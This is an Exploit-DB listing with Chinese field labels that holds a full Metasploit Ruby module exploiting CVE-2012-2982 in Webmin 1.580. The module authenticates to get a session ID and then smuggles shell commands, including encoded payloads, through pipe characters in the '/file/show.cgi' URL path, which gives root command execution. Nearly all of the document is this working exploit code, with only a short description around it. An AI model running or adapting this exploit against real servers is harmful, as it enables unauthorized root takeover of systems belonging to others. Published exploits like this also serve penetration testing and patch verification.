标题: Webmin 1.580 - '/file/show.cgi' Remote Command Execution (Metasploit) EDB-ID: 21851 CVE: 2012-2982 类型: REMOTE 平台: UNIX 发布日期: 2012-10-10 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Webmin /file/show.cgi Remote Command Execution',
   'Description'    => %q{
     This module exploits an arbitrary command execution vulnerability in Webmin
    1.580. The vulnerability exists in the /file/show.cgi component and allows an
    authenticated user, with access to the File Manager Module, to execute arbitrary
    commands with root privileges. The module has been tested successfully with Webim
    1.580 over Ubuntu 10.04.
   },
   'Author'         => [
    'Unknown', # From American Information Security Group
    'juan vazquez' # Metasploit module
   ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['OSVDB', '85248'],
     ['BID', '55446'],
     ['CVE', '2012-2982'],
     ['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],
     ['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 512,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl bash telnet',
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Webim 1.580', { }]],
   'DisclosureDate' => 'Sep 06 2012',
   'DefaultTarget'  => 0))

   register_options(
    [
     Opt::RPORT(10000),
     OptBool.new('SSL', [true, 'Use SSL', true]),
     OptString.new('USERNAME',  [true, 'Webmin Username']),
     OptString.new('PASSWORD',  [true, 'Webmin Password'])
    ], self.class)
 end

 def check

  peer = "#{rhost}:#{rport}"

  print_status("#{peer} - Attempting to login...")

  data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

  res = send_request_cgi(
   {
    'method'  => 'POST',
    'uri'     => "/session_login.cgi",
    'cookie'  => "testing=1",
    'data'    => data
   }, 25)

  if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
   print_good "#{peer} - Authentication successful"
   session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
  else
   print_error "#{peer} - Authentication failed"
   return Exploit::CheckCode::Unknown
  end

  print_status("#{peer} - Attempting to execute...")

  command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"

  res = send_request_cgi(
   {
    'uri'     => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
    'cookie'  => "sid=#{session}"
   }, 25)


  if res and res.code == 200 and res.message =~ /Document follows/
   return Exploit::CheckCode::Appears
  else
   return Exploit::CheckCode::Safe
  end

 end

 def exploit

  peer = "#{rhost}:#{rport}"

  print_status("#{peer} - Attempting to login...")

  data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

  res = send_request_cgi(
   {
    'method'  => 'POST',
    'uri'     => "/session_login.cgi",
    'cookie'  => "testing=1",
    'data'    => data
   }, 25)

  if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
   session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
   if session and not session.empty?
    print_good "#{peer} - Authentication successfully"
   else
    print_error "#{peer} - Authentication failed"
    return
   end
   print_good "#{peer} - Authentication successfully"
  else
   print_error "#{peer} - Authentication failed"
   return
  end

  print_status("#{peer} - Attempting to execute the payload...")

  command = payload.encoded

  res = send_request_cgi(
   {
    'uri'     => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
    'cookie'  => "sid=#{session}"
   }, 25)


  if res and res.code == 200 and res.message =~ /Document follows/
   print_good "#{peer} - Payload executed successfully"
  else
   print_error "#{peer} - Error executing the payload"
   return
  end

 end

end URL: https://www.exploit-db.com/exploits/21851